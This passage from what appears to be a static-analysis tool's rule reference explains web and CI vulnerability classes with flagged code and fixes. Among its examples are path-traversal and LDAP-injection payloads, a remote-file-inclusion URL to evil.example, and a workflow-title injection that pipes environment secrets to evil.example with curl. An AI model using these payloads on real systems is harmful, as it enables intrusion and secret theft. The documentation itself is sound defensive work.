});

path.resolve collapses any leftover ../; the prefix check then catches symlink escapes.

References

RSTR-PTH-003 — Java new File(servletRequest.getParameter(...))

Summary

A Java servlet builds a File (or Paths.get) using request parameters directly. The classic input ../../etc/passwd (or ..\..\windows\win.ini on Windows) lets an attacker escape any intended directory.

Severity

High.

Languages

Java, Kotlin.

What rastray flags

File f = new File(request.getParameter("name"));               // ← flagged
File f = new File("uploads/" + request.getParameter("name"));  // ← flagged
Path p = Paths.get(request.getParameter("name"));              // ← flagged

What rastray deliberately does not flag

  • Paths.get(SAFE_DIR, FilenameUtils.getName(input)).
  • Reads of constant paths.

How to fix it

Canonicalize the resolved path and verify it stays inside the intended base. With Apache Commons FilenameUtils:

import java.io.File;
import org.apache.commons.io.FilenameUtils;

Path base   = Paths.get("/var/app/uploads").toRealPath();
String name = FilenameUtils.getName(request.getParameter("name"));  // strips dirs
Path target = base.resolve(name).toRealPath();
if (!target.startsWith(base)) {
    throw new SecurityException("path escape");
}
return Files.readAllBytes(target);

If you can't take Commons-IO as a dependency, hand-roll the strip with Paths.get(name).getFileName().

References

RSTR-PTH-004 — literal ../../ in source

Summary

A literal '../../' (or longer) string appears inside source code. Most of the time this is build-tool plumbing or test-fixture pathing — not a vulnerability — but it is also exactly the shape of a hard-coded directory-traversal payload, so the rule flags it for review.

Severity

Info. This is a flag-for-review, not a confirmed bug.

Languages

All scanned languages — Python, JS/TS, Go, Rust, Java, Kotlin, Ruby, PHP.

What rastray flags

ROOT = '../../config/settings.yaml'        # ← flagged
import x from '../../shared/util';          // ← rule excludes import statements; not flagged

The rule does exclude import / require / from … import … specifiers, and does exclude lines that are recognisably module imports. It fires on the remaining cases where the ../../ is in an expression context.

What rastray deliberately does not flag

  • import 'pkg/../../sub' (module specifiers).
  • TypeScript path mapping in tsconfig.json paths.

How to fix it

If the ../../ is intentional (build-time path, test fixture), keep it and suppress the finding with a comment that documents why:

# rastray-ignore: RSTR-PTH-004 — fixture lives outside the package
ROOT = '../../tests/fixtures/sample.json'

If the literal is in fact concatenated into a path that takes attacker input downstream, refactor to a real allow-list of file roots and use os.path.realpath to confirm the resolution stays inside.

References

RSTR-PTH-005 — PHP include / require from request superglobal

Summary

A PHP page calls include, include_once, require, or require_once with a path built from $_GET, $_POST, $_REQUEST, or $_COOKIE.

Two failure modes:

  1. Local file inclusion (LFI). The attacker submits ?page=../../../../etc/passwd (or similar) and PHP reads / executes the file. With log files in predictable locations, LFI frequently chains to RCE.

  2. Remote file inclusion (RFI). If allow_url_include = On in php.ini, the attacker submits ?page=http://evil.example/shell.php and PHP fetches and executes the remote file. Immediate RCE.

Severity

Critical.

Languages

PHP.

What rastray flags

include $_GET['page'] . '.php';                       // ← flagged
include_once($_REQUEST['module']);                    // ← flagged
require '/var/app/views/' . $_POST['view'] . '.php';  // ← flagged

What rastray deliberately does not flag

  • Constant-string includes: include 'views/home.php';.
  • Includes that go through a separate validation step the regex cannot see across.

How to fix it

Use an explicit allow-list that maps request values to fixed paths. Never let the user control any portion of the path:

$VIEWS = [
    'home'    => 'views/home.php',
    'about'   => 'views/about.php',
    'contact' => 'views/contact.php',
];

$key = $_GET['page'] ?? 'home';
if (!isset($VIEWS[$key])) {
    http_response_code(404);
    exit;
}
include $VIEWS[$key];

If you absolutely must build the path dynamically, confine it to a safe directory and verify with realpath:

$base = realpath('/var/app/views');
$file = realpath($base . '/' . basename($_GET['page'])) . '.php';

if ($file === false || strpos($file, $base . DIRECTORY_SEPARATOR) !== 0) {
    http_response_code(400);
    exit;
}
include $file;

Disable allow_url_include in php.ini regardless — there is no production scenario where it should be on.

References

RSTR-PTH-006 — PHP file API on request superglobal

Summary

file_get_contents, file_put_contents, fopen, readfile, fpassthru, or file is called with a path derived directly from $_GET, $_POST, $_REQUEST, or $_COOKIE. An attacker submits ../../etc/passwd and the application reads or writes outside the intended directory.

Distinct from RSTR-PTH-005: that rule covers the include / require family, which executes PHP. This one covers generic file reads / writes, which expose or overwrite arbitrary files but don't execute them.

Severity

High.

Languages

PHP.

What rastray flags

$content = file_get_contents($_GET['url']);            // ← flagged
$fp      = fopen($_POST['file'], 'r');                 // ← flagged
readfile($_REQUEST['path']);                           // ← flagged
file_put_contents($_GET['name'], $data);               // ← flagged

What rastray deliberately does not flag

  • Calls with a constant path: file_get_contents('/etc/myapp/config.json').
  • Calls where the value flows through an intermediate variable (one-step taint scope, consistent across rastray).

How to fix it

Strip path components with basename, then resolve against a fixed base directory and verify with realpath:

$base = realpath('/var/app/uploads');
$file = realpath($base . '/' . basename($_GET['name']));

if ($file === false || strpos($file, $base . DIRECTORY_SEPARATOR) !== 0) {
    http_response_code(404);
    exit;
}

return file_get_contents($file);

For URL fetches (where file_get_contents($_GET['url']) is actually HTTP-based, not file-based), the bug is server-side request forgery rather than path traversal. The fix is the same as RSTR-SSRF-001: allow-list the host and block private/loopback/metadata IPs before fetching.

References

RSTR-COOKIE-001 — cookie set without secure: true

Summary

A session cookie is configured with secure: false (or no secure flag at all). Browsers will send the cookie over plaintext HTTP, where any on-path attacker (rogue Wi-Fi, an ISP, a hotel network) can read or replay it.

Severity

High. Session-cookie leakage means the attacker takes over the authenticated session.

Languages

JavaScript, TypeScript.

What rastray flags

Express, Koa, Fastify, and express-session cookie option blocks where secure is explicitly false:

res.cookie('sid', token, { secure: false });        // ← flagged

app.use(session({
  secret: 'x',
  cookie: { secure: false },                         // ← flagged
}));

What rastray deliberately does not flag

  • Cookies set with secure: true.
  • Cookies set with no secure field at all inside an express-session invocation where cookie: is also missing — that's a different bug, caught by static review, not this rule.
  • Local-dev cookies inside an if (NODE_ENV === 'development') branch that the rule cannot semantically reach.

How to fix it

Always set secure: true on session cookies. The full safe default is:

res.cookie('sid', token, {
  secure: true,
  httpOnly: true,
  sameSite: 'strict',
});

For local development, terminate TLS at a reverse proxy (or use mkcert) instead of toggling secure off.

References

RSTR-COOKIE-002 — cookie set without httpOnly: true

Summary

A cookie is configured with httpOnly: false. Client-side JavaScript can read the cookie via document.cookie, so any XSS bug — including ones in third-party scripts loaded by the page — exfiltrates the session token.

Severity

High. Removes the most important defence-in-depth against XSS-driven session theft.

Languages

JavaScript, TypeScript.

What rastray flags

Cookie option objects with httpOnly: false:

res.cookie('sid', token, { httpOnly: false });       // ← flagged

app.use(session({
  secret: 'x',
  cookie: { httpOnly: false },                       // ← flagged
}));

What rastray deliberately does not flag

  • Cookies set with httpOnly: true.
  • Cookies the application needs to read from JS (CSRF token mirror, feature-flag cookie). For those, name them clearly (XSRF-TOKEN) and suppress the finding with a comment.

How to fix it

Default to httpOnly: true and only opt out per-cookie when the client genuinely needs to read it. The full safe default:

res.cookie('sid', token, {
  secure: true,
  httpOnly: true,
  sameSite: 'strict',
});

A CSRF mirror token is the canonical legitimate exception — name it explicitly and suppress per-line:

// rastray-ignore: RSTR-COOKIE-002 — CSRF mirror cookie must be JS-readable
res.cookie('XSRF-TOKEN', csrfToken, { httpOnly: false, sameSite: 'strict' });

References

RSTR-COOKIE-003 — sameSite: 'none' cookie

Summary

A cookie is configured with sameSite: 'none'. Browsers will send this cookie on every cross-site request, which means the cookie is attached to requests originating from third-party pages — the exact condition that CSRF exploits.

Two failure modes:

  1. Without secure: true — modern browsers reject the combination outright; the cookie is silently dropped and the app breaks.
  2. With secure: true — the cookie is sent cross-site, opening a CSRF surface that sameSite: 'lax' (the default) would have blocked for state-changing requests.

Severity

Medium. Only set sameSite: 'none' when third-party embedding is a hard requirement (federated SSO, embedded checkout widgets, etc.).

Languages

JavaScript, TypeScript.

What rastray flags

Cookie options with sameSite: 'none':

res.cookie('sid', token, { sameSite: 'none' });      // ← flagged

app.use(session({
  cookie: { sameSite: 'none', secure: true },        // ← flagged
}));

What rastray deliberately does not flag

  • sameSite: 'lax' (the browser default) or sameSite: 'strict'.
  • Cookies with no sameSite field set explicitly.

How to fix it

Prefer the strictest value that still lets the application work:

res.cookie('sid', token, {
  sameSite: 'strict',   // safest; cookie never leaves first-party context
  secure: true,
  httpOnly: true,
});

'lax' is acceptable when top-level cross-site navigations need the cookie (the common case for OAuth callbacks and login redirects).

If 'none' is genuinely required (third-party iframe scenario), pair it with secure: true and ensure every state-changing endpoint has its own anti-CSRF mechanism (synchronizer token, double-submit cookie). Suppress with an explanatory comment:

// rastray-ignore: RSTR-COOKIE-003 — required for embedded checkout iframe; CSRF
//                  protected by per-request token in the X-CSRF-Token header
res.cookie('sid', token, { sameSite: 'none', secure: true, httpOnly: true });

References

RSTR-CORS-001 — cors origin:true|* with credentials:true

Summary

Express's cors middleware is configured with both origin: true (or '*') and credentials: true. The browser-spec dance for this combination collapses the wildcard to the request's Origin header and accepts cookies with the response. Net effect: any origin in the world can make credentialed cross-site requests to your API, defeating same-origin policy.

Severity

High.

Languages

JavaScript / TypeScript.

How to fix it

Allow-list the trusted origins:

app.use(cors({
  origin: ['https://app.example.com', 'https://admin.example.com'],
  credentials: true,
}));

Or — if the API is truly public — drop credentials:

app.use(cors({ origin: '*' }));   // public API, no cookies

Function-form for dynamic allow-listing:

const ALLOWED = new Set(['https://app.example.com']);
app.use(cors({
  origin: (origin, cb) => cb(null, ALLOWED.has(origin)),
  credentials: true,
}));

References

RSTR-CORS-002 — manual Access-Control-Allow-Origin: * with credentials

Summary

Code sets the Access-Control-Allow-Origin response header to * on a route that also sends Access-Control-Allow-Credentials: true. The CORS spec forbids that combination — browsers reject the response and the request fails — and if the application later "fixes" it by reflecting the request Origin header without an allow-list, every third-party origin gets credentialed cross-origin access to the API.

This is the same vulnerability class as RSTR-CORS-001, just expressed via the lower-level res.setHeader / res.header API instead of the cors middleware.

Severity

High.

Languages

JavaScript, TypeScript.

What rastray flags

Manual header writes pairing wildcard ACAO with credentials:

res.setHeader('Access-Control-Allow-Origin', '*');           // ← flagged
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.header('Access-Control-Allow-Origin', '*');              // ← flagged
res.header('Access-Control-Allow-Credentials', true);

What rastray deliberately does not flag

  • Access-Control-Allow-Origin: * without credentials (the public-API pattern; the spec permits it).
  • Headers set against a fixed allow-listed origin string.

How to fix it

Allow-list specific origins and only echo when the request Origin matches an entry. The minimum safe pattern is:

const ALLOWED = new Set([
  'https://app.example.com',
  'https://admin.example.com',
]);

const origin = req.headers.origin;
if (origin && ALLOWED.has(origin)) {
  res.setHeader('Access-Control-Allow-Origin', origin);
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  res.setHeader('Vary', 'Origin');
}

Vary: Origin is essential — without it caches will serve the allow-listed origin's response to other requesters.

How to suppress

For public, credential-less APIs the wildcard is correct; just remove the Allow-Credentials line. If your tooling has a reason to keep both headers, suppress per-line:

// rastray-ignore: RSTR-CORS-002 — public docs endpoint, no credentials sent

References

RSTR-CSRF-001 — Flask WTF_CSRF_ENABLED disabled

Summary

Flask-WTF's CSRF protection is disabled globally (WTF_CSRF_ENABLED = False or app.config['WTF_CSRF_ENABLED'] = False). Every state-changing form in the app is now vulnerable to cross-site request forgery: an attacker who gets the victim to visit a page they control can submit a form to your app using the victim's cookies.

Severity

High.

Languages

Python.

How to fix it

Leave the default in place — WTF_CSRF_ENABLED defaults to True for a reason. Use {{ csrf_token() }} in every form:

<form method="POST" action="/profile">
  {{ csrf_token() }}
  <input name="name" />
  <button type="submit">Save</button>
</form>

For AJAX, set the X-CSRFToken header from {{ csrf_token() }} injected into a <meta> tag.

If a specific webhook handler legitimately can't have CSRF protection (e.g. Stripe webhook), exempt that one route:

@csrf.exempt
@app.route('/webhook/stripe', methods=['POST'])
def stripe_webhook():
    # verify Stripe signature instead
    ...

…not the whole app.

References

RSTR-CSRF-002 — Django @csrf_exempt on a state-changing view

Summary

A Django view is decorated with @csrf_exempt, removing the CSRF protection that the rest of the project's middleware enforces. If the view accepts POST / PUT / PATCH / DELETE, any cross-site form submission targeting it succeeds with the victim's session cookies attached.

Severity

Medium. The bug is real but limited to the single view; the rest of the application is still protected.

Languages

Python.

What rastray flags

Any use of the csrf_exempt decorator from django.views.decorators.csrf:

from django.views.decorators.csrf import csrf_exempt

@csrf_exempt                                          # ← flagged
def transfer_funds(request):
    ...
@csrf_exempt                                          # ← flagged
@require_POST
def webhook(request):
    ...

What rastray deliberately does not flag

  • Class-based views protected by Django's default CSRF middleware.
  • Views with @requires_csrf_token or @ensure_csrf_cookie.

How to fix it

For internal endpoints: remove @csrf_exempt. Let the middleware enforce the token; if the client is a SPA, expose the token via {% csrf_token %} or ensure_csrf_cookie and send it back as X-CSRFToken.

For third-party webhooks (Stripe, GitHub, Slack, etc.): verify the incoming signature instead of disabling CSRF. The signature does the job that the CSRF token does for browser-originated requests.

@csrf_exempt
@require_POST
def stripe_webhook(request):
    sig = request.META.get('HTTP_STRIPE_SIGNATURE', '')
    try:
        event = stripe.Webhook.construct_event(
            request.body, sig, settings.STRIPE_WEBHOOK_SECRET
        )
    except (ValueError, stripe.error.SignatureVerificationError):
        return HttpResponseBadRequest()
    ...

The csrf_exempt is unavoidable in that case — suppress it with a comment explaining the signature check substitutes for the missing CSRF protection:

# rastray-ignore: RSTR-CSRF-002 — Stripe webhook; signature verified above
@csrf_exempt
@require_POST
def stripe_webhook(request): ...

References

RSTR-ORM-001 — Node ORM Model.create(req.body)

Summary

A Node ORM (Mongoose, Sequelize, Prisma, etc.) is asked to create or update a record using the entire request body as the data object. Mass-assignment: every field name the attacker sends becomes a field in the database write. Submit {name: "alice", isAdmin: true, role: "admin"} and you get an admin account.

Severity

High.

Languages

JavaScript / TypeScript.

How to fix it

Allow-list the fields explicitly. Three idiomatic forms:

lodash.pick:

import _ from 'lodash';
const data = _.pick(req.body, ['name', 'email']);
await User.create(data);

Schema validation (zod):

import { z } from 'zod';
const Body = z.object({ name: z.string(), email: z.string().email() }).strict();
const data = Body.parse(req.body);
await User.create(data);

Prisma — only pass the fields explicitly:

await prisma.user.create({
  data: { name: req.body.name, email: req.body.email },
});

References

RSTR-ORM-002 — Django ORM create/filter/update with **request.POST

Summary

A Django view passes a request body directly into a model create / update / filter, e.g. Model.objects.create(**request.POST). Every key in the request body becomes a field write, regardless of whether the form was meant to expose it. An attacker can promote themselves to admin by submitting is_staff=true (or whatever the model's flag field is called).

This is mass assignment, CWE-915.

Severity

High.

Languages

Python (Django).

What rastray flags

def signup(request):
    User.objects.create(**request.POST)              # ← flagged
def update(request, pk):
    Article.objects.filter(pk=pk).update(**request.POST)  # ← flagged

What rastray deliberately does not flag

  • Form-bound paths: form = SignupForm(request.POST); form.save().
  • ModelForm or DRF Serializer-driven updates.
  • Explicit field lists: User.objects.create(email=request.POST['email']).

How to fix it

Always go through a ModelForm, a Django REST Framework Serializer, or an explicit allow-list:

from django.forms import ModelForm

class SignupForm(ModelForm):
    class Meta:
        model = User
        fields = ['email', 'password']     # allow-list

def signup(request):
    form = SignupForm(request.POST)
    if not form.is_valid():
        return HttpResponseBadRequest(form.errors)
    form.save()
# REST framework
class UserSerializer(serializers.ModelSerializer):
    class Meta:
        model = User
        fields = ['email', 'password']
        read_only_fields = ['is_staff', 'is_superuser']

References

RSTR-ORM-003 — Rails create / update with raw params

Summary

A Rails controller spreads params (or a nested params hash) into ActiveRecord create / update without going through Strong Parameters' permit. Every attribute in the request becomes a column write, allowing an attacker to flip admin: true or any other unintended field.

This is the original mass-assignment bug class that pushed Rails to introduce Strong Parameters in the first place.

Severity

High.

Languages

Ruby (Rails).

What rastray flags

def create
  User.create(params[:user])           # ← flagged
end

def update
  @article.update(params[:article])    # ← flagged
end

What rastray deliberately does not flag

  • params.require(:user).permit(:email, :password) (Strong Parameters).
  • params.permit(:email) form.
  • Direct assignment of individual attributes: User.create(email: params[:user][:email]).

How to fix it

Use Strong Parameters with an explicit allow-list per controller:

class UsersController < ApplicationController
  def create
    User.create(user_params)
  end

  private

  def user_params
    params.require(:user).permit(:email, :password)
    # NEVER :is_admin, :role, :verified — those mutate via separate
    # admin-only controllers
  end
end

For nested associations, permit them explicitly:

params.require(:order).permit(:item_id, addresses_attributes: [:street, :zip])

References

RSTR-ORM-004 — raw SQL template literal

Summary

A raw SQL query is built by interpolating values into a template literal (`SELECT * FROM users WHERE id = ${id}`) and passed to knex.raw, sequelize.query, or Prisma's $queryRawUnsafe. The fact that the syntax looks modern doesn't change the wire format — it's still string concatenation, and still SQL-injectable.

Severity

Critical. Full database disclosure, and on some configs RCE via stored procedures or xp_cmdshell.

Languages

JavaScript / TypeScript.

How to fix it

Use parameter binding:

// Knex
await knex.raw('SELECT * FROM users WHERE id = ?', [id]);

// Sequelize
await sequelize.query('SELECT * FROM users WHERE id = :id', {
  replacements: { id },
  type: sequelize.QueryTypes.SELECT,
});

// Prisma: use $queryRaw (tagged template — auto-parameterised)
// NOT $queryRawUnsafe
await prisma.$queryRaw`SELECT * FROM users WHERE id = ${id}`;

The Prisma case is subtle: $queryRaw (tagged template form) IS safe because Prisma parses the ${...} expressions and binds them as parameters. $queryRawUnsafe exists explicitly to bypass that — it's named to discourage exactly the bug this rule catches.

References

RSTR-ORM-005 — Rails params.require(:x).permit! (open permit)

Summary

params.require(:x).permit! declares "every key inside params[:x] is permitted." It is the open-door form of Rails Strong Parameters — the exact thing Strong Parameters was introduced to prevent. Any attribute the attacker submits (including is_admin: true, role: 'owner', verified: true) becomes a model write.

This is the same vulnerability class as RSTR-ORM-003, expressed via the permit! escape hatch instead of by skipping Strong Parameters entirely.

Severity

High.

Languages

Ruby (Rails).

What rastray flags

def user_params
  params.require(:user).permit!                       # ← flagged
end
params.permit!                                         # ← flagged

What rastray deliberately does not flag

Explicit allow-list:

def user_params
  params.require(:user).permit(:email, :first_name, :last_name)
end

Nested allow-list:

def order_params
  params.require(:order).permit(:item_id, addresses_attributes: [:street, :zip])
end

How to fix it

Enumerate the attributes you actually want to accept. Anything not in the list is silently dropped, which is exactly the behaviour you want:

def user_params
  params.require(:user).permit(:email, :first_name, :last_name)
  # NEVER :is_admin, :role, :verified — those mutate via separate
  # admin-only controllers
end

For nested associations, list the inner keys:

def order_params
  params
    .require(:order)
    .permit(:item_id, :quantity, addresses_attributes: [:street, :city, :zip])
end

If the controller is truly internal (e.g. it talks to its own admin UI behind authentication you control), permit! is still unsafe — the underlying model usually has columns the admin UI should not be able to flip either. Always enumerate.

References

RSTR-LDAP-001 — ldapjs search with template-literal filter

Summary

An LDAP search call is given a filter built by string interpolation: `(uid=${userInput})`. The LDAP filter grammar has metacharacters (*, (, ), \, NUL) that let an attacker rewrite the filter:

  • *)(uid=* matches everything;
  • *)(|(role=admin) enumerates admins;
  • *)(uid=*))(|(&(uid=* opens the door to filter-tree injection.

This is the LDAP cousin of SQL injection.

Severity

High.

Languages

JavaScript / TypeScript.

How to fix it

Escape every interpolated value with the LDAP filter character escape:

import ldapEscape from 'ldap-escape';
client.search('dc=example,dc=com', {
  filter: `(uid=${ldapEscape.filter`${userInput}`})`,
});

Or build the filter from a structured object via ldapjs.parseFilter so there's no string to interpolate into at all.

References

RSTR-LDAP-002 — Python LDAP filter built with f-string

Summary

A Python LDAP search builds the filter string from request input via an f-string or .format(...). An attacker submitting *)(uid=* (or similar metacharacter payloads) bypasses authentication or enumerates the directory.

This is the Python counterpart of RSTR-LDAP-001.

Severity

High.

Languages

Python (ldap3, python-ldap).

What rastray flags

conn.search(base_dn, f'(uid={user})', search_scope=SUBTREE)   # ← flagged
conn.search_s(base_dn, ldap.SCOPE_SUBTREE,
              '(uid={})'.format(user))                         # ← flagged

What rastray deliberately does not flag

  • Filters built from literal strings.
  • Filters built with ldap3.utils.conv.escape_filter_chars(...) first.
  • Filters built from a parsed/validated identifier (e.g. a UUID).

How to fix it

Escape the input with the library's escape helper:

from ldap3.utils.conv import escape_filter_chars

conn.search(base_dn,
            f'(uid={escape_filter_chars(user)})',
            search_scope=SUBTREE)

For python-ldap:

import ldap.filter
filter_str = ldap.filter.filter_format('(uid=%s)', [user])
conn.search_s(base_dn, ldap.SCOPE_SUBTREE, filter_str)

filter_format parametrises like a prepared statement — it's the LDAP equivalent of ? placeholders.

References

RSTR-REDOS-001 — nested quantifier catastrophic backtracking

Summary

A regex contains a nested quantifier of the form (X+)+, (X*)+, or (X+)*. On crafted input like aaaaaaaaaaaaaaaaaaab (lots of as followed by a b that breaks the match), backtracking regex engines try exponentially many ways to partition the input between the inner and outer quantifier — O(2ⁿ) work that hangs the thread.

This is regular-expression denial of service (ReDoS). A single user-controlled string can DoS a server thread for minutes.

Severity

High. Cheap to exploit, hard to recover from once the process is locked up.

Languages

JavaScript, TypeScript, Python.

What rastray flags

Regex literals (/^(a+)+$/), new RegExp('^(a+)+$'), and re.compile(r'^(a+)+$') containing the nested-quantifier shape.

What rastray deliberately does not flag

  • Simple single quantifiers: /^a+$/, r'^[a-z]+$'.
  • Character classes: /^[a-z0-9]+$/.
  • Alternation overlap ((a|a)+, (ab|a)+) — same risk class but needs a regex parser to detect. Out of scope for this rule; a future slice may add it.

How to fix it

Three options:

  1. Collapse the nested quantifier: (a+)+a+ when both branches accept the same character class.

  2. Use a character class instead of alternation: (a|b)+(?:[ab])+.

  3. Use a linear-time regex engine. JS engines, PCRE, and Python's re all use backtracking. Switch to:

    • Rust's regex crate
    • Google's RE2
    • The re2-wasm JS port
    • Python's regex module in LOCALE-free mode is still backtracking; for guaranteed linear time use Rust regex via PyO3 or google-re2.
  4. Validate input length before matching as defence-in-depth. Even with a backtracking engine, capping input at 1 KB stops most DoS shapes from running long enough to matter.

References

RSTR-NET-001 — TLS verification disabled

Summary

A Python HTTP request is made with verify=False. The client will accept any TLS certificate, including expired, self-signed, or attacker-presented ones. Traffic between the client and the supposed server is now vulnerable to a man-in-the-middle attack — the attacker can read and modify everything, including auth tokens and request bodies.

Severity

High.

Languages

Python (requests, httpx, urllib3 all accept the same flag).

How to fix it

Remove the flag — the default of verify=True is what you want.

If you genuinely need a custom certificate authority (e.g. your company's internal CA), pass the bundle path:

response = requests.get('https://internal.example.com', verify='/etc/ssl/internal-ca.pem')

For testing against localhost with a self-signed cert, create a real test certificate with mkcert instead — it takes 30 seconds and means your test code looks like production code.

verify=False is never the right answer in production.

References

RSTR-NET-002 — Python SSL context with verification disabled

Summary

A Python ssl context is configured with check_hostname = False, verify_mode = ssl.CERT_NONE, or both — turning off the parts of TLS that prevent MITM. The connection is encrypted but unauthenticated; any on-path attacker can impersonate the server.

Severity

High.

Languages

Python.

What rastray flags

import ssl

ctx = ssl.create_default_context()
ctx.check_hostname = False                          # ← flagged
ctx.verify_mode = ssl.CERT_NONE                     # ← flagged
ssl._create_default_https_context = ssl._create_unverified_context  # ← flagged

What rastray deliberately does not flag

  • ssl.create_default_context() with no overrides.
  • Test code that explicitly pins a self-signed cert via load_verify_locations.

How to fix it

Default to verification on and supply a trust store if you must override:

import ssl

ctx = ssl.create_default_context()  # check_hostname + CERT_REQUIRED on by default
# Optionally pin to an internal CA:
ctx.load_verify_locations(cafile='/etc/ssl/internal-ca.crt')

with socket.create_connection((host, 443)) as sock:
    with ctx.wrap_socket(sock, server_hostname=host) as tls:
        tls.sendall(payload)

For requests, the equivalent flag is verify=False — the matching rule is RSTR-NET-001.

References

RSTR-NET-003 — Wildcard CORS with credentials, or bare wildcard ACAO

Summary

Two adjacent misconfigurations:

  1. Wildcard origin + credentials. cors({ origin: '*', credentials: true }) (or the manual-header form) — browsers reject the combination, and if the code later "fixes" it by reflecting Origin, every site on the internet gets credentialed cross-origin access.

  2. Bare Access-Control-Allow-Origin: * on an endpoint that returns sensitive data — even without credentials, the endpoint is exposing JSON cross-origin to anyone.

The second case is Medium severity (intent ambiguous), the first is High.

Languages

JavaScript, TypeScript.

What rastray flags

app.use(cors({ origin: '*', credentials: true }));            // ← flagged
app.use(cors({ origin: true, credentials: true }));           // ← flagged
res.setHeader('Access-Control-Allow-Origin', '*');            // ← flagged (Medium)

What rastray deliberately does not flag

  • cors({ origin: ['https://app.example.com'] }).
  • Static Access-Control-Allow-Origin: https://app.example.com.

How to fix it

Allow-list specific origins; never combine wildcard with credentials:

const ALLOWED = ['https://app.example.com', 'https://admin.example.com'];

app.use(cors({
  origin: (origin, cb) => {
    if (!origin || ALLOWED.includes(origin)) return cb(null, true);
    cb(new Error('not allowed'));
  },
  credentials: true,
}));

For a truly public API that returns only non-sensitive data, cors({ origin: '*' }) (no credentials) is fine — see RSTR-CORS-002 for the same vulnerability via the manual-header form.

References

RSTR-NET-004 — cookie httpOnly: false (network-rule variant)

Summary

A cookie is set with httpOnly: false, exposing it to client-side JavaScript. This is the network-layer variant of RSTR-COOKIE-002; it exists separately because the network analyzer also catches cookie options when set on header objects rather than via Express res.cookie.

Severity

Medium.

Languages

JavaScript, TypeScript.

What rastray flags

const cookieOptions = { httpOnly: false };          // ← flagged
res.cookie('sid', token, cookieOptions);
const opts = { httpOnly: false, maxAge: 3600_000 }; // ← flagged

What rastray deliberately does not flag

  • Options with httpOnly: true.
  • Options that omit httpOnly entirely (caught by a higher-level review; this rule fires specifically on the explicit false).

How to fix it

Set httpOnly: true (the default for the safest cookie):

res.cookie('sid', token, {
    secure:    true,
    httpOnly:  true,
    sameSite:  'strict',
});

If the cookie genuinely must be JS-readable (CSRF mirror token, feature-flag cookie), suppress with a comment naming the purpose:

// rastray-ignore: RSTR-NET-004 — CSRF mirror cookie must be readable
res.cookie('XSRF-TOKEN', csrf, { httpOnly: false, sameSite: 'strict' });

References

RSTR-GHA-001 — pull_request_target + PR-head checkout

Summary

A GitHub Actions workflow triggers on pull_request_target and checks out the pull-request head (ref: ${{ github.event.pull_request.head.sha }}). pull_request_target runs with full repo-secret access — by design, so workflows can post comments — but combining it with a PR-head checkout means an attacker-authored PR runs with the secrets, yielding straightforward exfiltration via curl, env-dump, or any run: step.

This is the most commonly exploited GHA misconfiguration class.

Severity

Critical.

Languages

GitHub Actions workflow YAML (.github/workflows/*.yml).

What rastray flags

on:
  pull_request_target:                          # ← flagged combo
    types: [opened, synchronize]

jobs:
  build:
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}

What rastray deliberately does not flag

  • on: pull_request — that trigger runs without secrets, so PR-head checkout is safe.
  • on: pull_request_target without any PR-head checkout — useful and safe; the workflow operates on main content.

How to fix it

Pick one of these patterns depending on what the workflow needs:

Pattern A — read-only checks (lint, test, build the PR's code): use on: pull_request. No secrets, PR head is checked out:

on: pull_request

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: cargo test

Pattern B — labelling/commenting on the PR (needs secrets, must not run untrusted code): use pull_request_target and do not check out the PR head:

on: pull_request_target

jobs:
  label:
    permissions: { pull-requests: write }
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4         # checks out base, NOT PR head
      - run: ./scripts/label.sh

Pattern C — both needed: split into two workflows. One on pull_request does the build; one on pull_request_target reads the build artefact and posts a comment.

References

RSTR-GHA-002 — third-party action pinned by floating tag

Summary

A workflow references a third-party action by floating tag (@v4, @main) instead of a full commit SHA. The action's author — or anyone who compromises their account — can publish a new commit under the same tag and execute arbitrary code with your repository's secrets the next time the workflow runs. This actually happens (the tj-actions/changed-files compromise in early 2025 was the most recent industry-wide example).

Pinning to a SHA freezes the action at the bytes you reviewed.

Severity

Medium. The bug requires the upstream to be compromised, but the blast radius is total.

Languages

GitHub Actions workflow YAML.

What rastray flags

- uses: actions/checkout@v4                 # ← flagged
- uses: docker/setup-buildx-action@v3       # ← flagged
- uses: codecov/codecov-action@main         # ← flagged

What rastray deliberately does not flag

  • uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v6.0.3 — full 40-char commit SHA with the version as a trailing comment.
  • Local actions: uses: ./.github/actions/internal-thing.

How to fix it

Replace the tag with the commit SHA the tag currently points to, and keep the version as a comment so Dependabot can update both atomically:

- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v6.0.3

For each pin you need, grab the commit SHA with:

gh api repos/actions/checkout/git/refs/tags/v6.0.3 \
  --jq '.object.sha'   # if tag is lightweight; if annotated, follow object.url

(Annotated tags need one extra dereference — see the note in your user memory for why.)

Dependabot understands the # vX.Y.Z trailing-comment convention and will keep the SHA in sync with new releases automatically.

References

RSTR-GHA-003 — ${{ github.event.* }} interpolated into run:

Summary

A workflow step's run: script directly interpolates ${{ github.event.issue.title }} (or pull_request.title, comment.body, review.body, etc.) into the shell command. GitHub substitutes the value into the script before the shell parses it, so a malicious title like "; curl evil.example/$(env|base64) # runs against the workflow's privileges.

This is a known-exploited class — see the Pwn Request series of disclosures.

Severity

High.

Languages

GitHub Actions workflow YAML.

What rastray flags

- run: echo "Title is ${{ github.event.issue.title }}"      # ← flagged
- run: |
    echo "${{ github.event.pull_request.body }}"            # ← flagged
- run: echo "${{ github.event.review.body }}" >> out.txt    # ← flagged

What rastray deliberately does not flag

  • Values passed through an env: block, then referenced as plain shell variables — those are not substituted before parsing.
  • github.event.* values consumed only by actions/github-script with the value as a JS string argument (the JS runtime treats it as data, not code).

How to fix it

Always pass untrusted GHA expression values through env: and reference them as quoted shell variables:

- env:
    TITLE: ${{ github.event.issue.title }}
    BODY:  ${{ github.event.pull_request.body }}
  run: |
    echo "Title: $TITLE"
    echo "Body:  $BODY"

The shell sees $TITLE, not the substituted value, so quoting works correctly and there is no command injection.

References

RSTR-GHA-005 — actions/checkout with persist-credentials: true

Summary

actions/checkout defaults to persist-credentials: true, which writes the auto-provisioned GITHUB_TOKEN (with contents: write if the workflow has it) into the .git/config of the checkout. Any later step that runs git push, or any tool that reads .git/config, sees that token.

For most workflows this is wasted attack surface — the workflow only needs the token at the moment it actually pushes back, which it usually doesn't.

Severity

Low. The token is short-lived and limited to the repo, but defence-in-depth says don't leak it to unrelated steps.

Languages

GitHub Actions workflow YAML.
